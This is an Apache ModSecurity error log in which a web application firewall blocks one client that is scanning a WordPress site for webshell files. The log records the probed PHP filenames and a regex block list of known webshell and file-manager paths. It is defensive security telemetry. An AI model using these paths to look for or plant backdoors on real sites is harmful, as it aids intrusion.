[Sun Apr 12 11:36:06.867930 2026] [:error] [pid 60280:tid 60294] [client 20.111.63.225:42967] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsTJnBlLnDOYuIykkiNNwAAAcw"]
[Sun Apr 12 11:36:08.217815 2026] [:error] [pid 60280:tid 60286] [client 20.111.63.225:31203] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/97.php"] [unique_id "adsTKHBlLnDOYuIykkiNOAAAAcQ"]
[Sun Apr 12 11:36:09.428335 2026] [:error] [pid 60280:tid 60285] [client 20.111.63.225:48837] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/97.php"] [unique_id "adsTKXBlLnDOYuIykkiNPgAAAcM"]
[Sun Apr 12 11:36:10.706395 2026] [:error] [pid 26600:tid 26647] [client 20.111.63.225:47543] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/97.php"] [unique_id "adsTKu1YwAZiXhQKLYrPUwAAAZI"]
[Sun Apr 12 11:36:12.285094 2026] [:error] [pid 25328:tid 25364] [client 20.111.63.225:31197] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/97.php"] [unique_id "adsTLMxUaQZxT-e0YsBzDQAAAEA"]
[Sun Apr 12 11:36:13.365172 2026] [:error] [pid 60280:tid 60283] [client 20.111.63.225:48852] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "adsTLXBlLnDOYuIykkiNTwAAAcE"]
[Sun Apr 12 11:36:14.766675 2026] [:error] [pid 25437:tid 25458] [client 20.111.63.225:28943] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "adsTLnf97wYZje1ep_O7vgAAANM"]
[Sun Apr 12 11:36:15.871079 2026] [:error] [pid 60280:tid 60286] [client 20.111.63.225:48836] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "adsTL3BlLnDOYuIykkiNVQAAAcQ"]
[Sun Apr 12 11:36:17.294290 2026] [:error] [pid 60280:tid 60301] [client 20.111.63.225:28982] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "adsTMXBlLnDOYuIykkiNWwAAAdM"]
[Sun Apr 12 11:36:18.374864 2026] [:error] [pid 60280:tid 60283] [client 20.111.63.225:42944] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "adsTMnBlLnDOYuIykkiNXQAAAcE"]
[Sun Apr 12 11:36:19.509371 2026] [:error] [pid 25437:tid 25451] [client 20.111.63.225:25823] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "adsTM3f97wYZje1ep_O7xAAAAMw"]
[Sun Apr 12 11:36:20.406493 2026] [:error] [pid 26600:tid 26629] [client 20.111.63.225:28603] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "adsTNO1YwAZiXhQKLYrPWgAAAYA"]
[Sun Apr 12 11:36:21.189910 2026] [:error] [pid 60280:tid 60283] [client 20.111.63.225:31204] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "adsTNXBlLnDOYuIykkiNaQAAAcE"]
[Sun Apr 12 11:36:22.222963 2026] [:error] [pid 25328:tid 25403] [client 20.111.63.225:48849] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adsTNsxUaQZxT-e0YsBzEQAAAFY"]
[Sun Apr 12 11:36:23.092731 2026] [:error] [pid 25327:tid 25340] [client 20.111.63.225:48861] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adsTNy6h2tZEVJo9JFKMbgAAAAQ"]
[Sun Apr 12 11:36:25.687483 2026] [:error] [pid 60280:tid 60304] [client 20.111.63.225:48867] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adsTOXBlLnDOYuIykkiNdQAAAdY"]
[Sun Apr 12 11:36:28.779687 2026] [:error] [pid 60280:tid 60286] [client 20.111.63.225:28553] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adsTPHBlLnDOYuIykkiNegAAAcQ"]
[Sun Apr 12 11:36:30.254225 2026] [:error] [pid 25329:tid 25406] [client 20.111.63.225:25799] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adsTPmdcIYsS8Iyaj113cQAAAJE"]
[Sun Apr 12 11:36:31.370590 2026] [:error] [pid 25327:tid 25360] [client 20.111.63.225:26190] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adsTPy6h2tZEVJo9JFKMcQAAABg"]
[Sun Apr 12 11:36:32.594878 2026] [:error] [pid 25328:tid 25385] [client 20.111.63.225:3382] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adsTQMxUaQZxT-e0YsBzKAAAAE4"]
[Sun Apr 12 11:36:33.166351 2026] [:error] [pid 26600:tid 26651] [client 20.111.63.225:52584] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adsTQe1YwAZiXhQKLYrPYAAAAZY"]
[Sun Apr 12 11:36:33.835479 2026] [:error] [pid 26567:tid 26583] [client 20.111.63.225:28980] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adsTQXhRpg6ptWFyFx1WHwAAAQ4"]
[Sun Apr 12 11:36:34.505004 2026] [:error] [pid 25437:tid 25440] [client 20.111.63.225:35253] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adsTQnf97wYZje1ep_O71QAAAME"]
[Sun Apr 12 11:36:35.360227 2026] [:error] [pid 26600:tid 26652] [client 20.111.63.225:46909] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adsTQ-1YwAZiXhQKLYrPYgAAAZc"]
[Sun Apr 12 11:36:36.978690 2026] [:error] [pid 60280:tid 60292] [client 20.111.63.225:48866] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "adsTRHBlLnDOYuIykkiNiQAAAco"]
[Sun Apr 12 11:36:46.123912 2026] [:error] [pid 25327:tid 25357] [client 20.111.63.225:23149] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adsTTi6h2tZEVJo9JFKMjAAAABU"]
[Sun Apr 12 11:36:47.726853 2026] [:error] [pid 25328:tid 25368] [client 20.111.63.225:28963] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adsTT8xUaQZxT-e0YsBzOwAAAEQ"]
[Sun Apr 12 11:36:49.168002 2026] [:error] [pid 60280:tid 60304] [client 20.111.63.225:48895] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adsTUXBlLnDOYuIykkiNnQAAAdY"]
[Sun Apr 12 11:36:51.550020 2026] [:error] [pid 25328:tid 25367] [client 20.111.63.225:32568] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adsTU8xUaQZxT-e0YsBzQgAAAEM"]
[Sun Apr 12 11:36:52.959119 2026] [:error] [pid 25328:tid 25405] [client 20.111.63.225:28974] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adsTVMxUaQZxT-e0YsBzRgAAAFc"]
[Sun Apr 12 11:36:57.758778 2026] [:error] [pid 60280:tid 60302] [client 20.111.63.225:32543] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adsTWXBlLnDOYuIykkiNqgAAAdQ"]
[Sun Apr 12 11:36:59.370593 2026] [:error] [pid 25328:tid 25366] [client 20.111.63.225:52574] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adsTW8xUaQZxT-e0YsBzWAAAAEI"]
[Sun Apr 12 11:37:01.325308 2026] [:error] [pid 60280:tid 60299] [client 20.111.63.225:52590] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adsTXXBlLnDOYuIykkiNsAAAAdE"]
[Sun Apr 12 11:37:03.088959 2026] [:error] [pid 60280:tid 60285] [client 20.111.63.225:3384] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "adsTX3BlLnDOYuIykkiNtgAAAcM"]
[Sun Apr 12 11:37:05.344625 2026] [:error] [pid 26567:tid 26580] [client 20.111.63.225:48842] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "adsTYXhRpg6ptWFyFx1WOAAAAQs"]
[Sun Apr 12 11:37:05.902467 2026] [:error] [pid 25327:tid 25354] [client 20.111.63.225:36875] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "adsTYS6h2tZEVJo9JFKMlAAAABI"]
[Sun Apr 12 11:37:06.650035 2026] [:error] [pid 60280:tid 60298] [client 20.111.63.225:52583] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "adsTYnBlLnDOYuIykkiNuwAAAdA"]
[Sun Apr 12 11:37:08.177303 2026] [:error] [pid 60280:tid 60285] [client 20.111.63.225:24463] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "adsTZHBlLnDOYuIykkiNxQAAAcM"]
[Sun Apr 12 11:37:09.762717 2026] [:error] [pid 60280:tid 60306] [client 20.111.63.225:23135] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "adsTZXBlLnDOYuIykkiNzwAAAdg"]
[Sun Apr 12 11:37:10.913945 2026] [:error] [pid 26599:tid 26623] [client 20.111.63.225:32571] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "adsTZnG89LXoQbk_rwCRhgAAAVU"]
[Sun Apr 12 11:37:12.126755 2026] [:error] [pid 60280:tid 60284] [client 20.111.63.225:38930] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "adsTaHBlLnDOYuIykkiN0QAAAcI"]
[Sun Apr 12 11:37:12.795546 2026] [:error] [pid 26600:tid 26637] [client 20.111.63.225:46859] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "adsTaO1YwAZiXhQKLYrPiAAAAYg"]
[Sun Apr 12 11:37:13.825458 2026] [:error] [pid 25329:tid 25402] [client 20.111.63.225:23129] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "adsTaWdcIYsS8Iyaj113hwAAAI8"]
[Sun Apr 12 11:37:14.916009 2026] [:error] [pid 60280:tid 60302] [client 20.111.63.225:3380] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "adsTanBlLnDOYuIykkiN1QAAAdQ"]
[Sun Apr 12 11:37:15.847865 2026] [:error] [pid 26599:tid 26617] [client 20.111.63.225:35200] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "adsTa3G89LXoQbk_rwCRjQAAAU8"]
[Sun Apr 12 11:37:17.140449 2026] [:error] [pid 26600:tid 26631] [client 20.111.63.225:34429] [client 20.111.63.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "adsTbe1YwAZiXhQKLYrPjAAAAYI"]
[Sun Apr 12 11:37:19.295319 2026] [:error] [pid 25328:tid 25408] [client 20.111.63.225:34426] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "adsTb8xUaQZxT-e0YsBzYgAAAFg"]
[Sun Apr 12 11:37:21.921489 2026] [:error] [pid 25327:tid 25353] [client 20.111.63.225:31170] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "adsTcS6h2tZEVJo9JFKMnQAAABE"]
[Sun Apr 12 11:37:23.031747 2026] [:error] [pid 60280:tid 60304] [client 20.111.63.225:31199] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "adsTc3BlLnDOYuIykkiN4gAAAdY"]
[Sun Apr 12 11:37:24.009071 2026] [:error] [pid 26600:tid 26653] [client 20.111.63.225:24462] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "adsTdO1YwAZiXhQKLYrPkwAAAZg"]
[Sun Apr 12 11:37:25.610202 2026] [:error] [pid 25327:tid 25355] [client 20.111.63.225:28628] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myy.php"] [unique_id "adsTdS6h2tZEVJo9JFKMogAAABM"]
[Sun Apr 12 11:37:27.224709 2026] [:error] [pid 26567:tid 26588] [client 20.111.63.225:59989] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myy.php"] [unique_id "adsTd3hRpg6ptWFyFx1WRQAAARM"]
[Sun Apr 12 11:37:28.192704 2026] [:error] [pid 26567:tid 26589] [client 20.111.63.225:42183] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myy.php"] [unique_id "adsTeHhRpg6ptWFyFx1WSAAAARQ"]
[Sun Apr 12 11:37:28.882857 2026] [:error] [pid 25327:tid 25353] [client 20.111.63.225:28610] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myy.php"] [unique_id "adsTeC6h2tZEVJo9JFKMrAAAABE"]
[Sun Apr 12 11:37:29.951764 2026] [:error] [pid 25328:tid 25366] [client 20.111.63.225:22049] [client 20.111.63.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "adsTecxUaQZxT-e0YsBzcwAAAEI"]
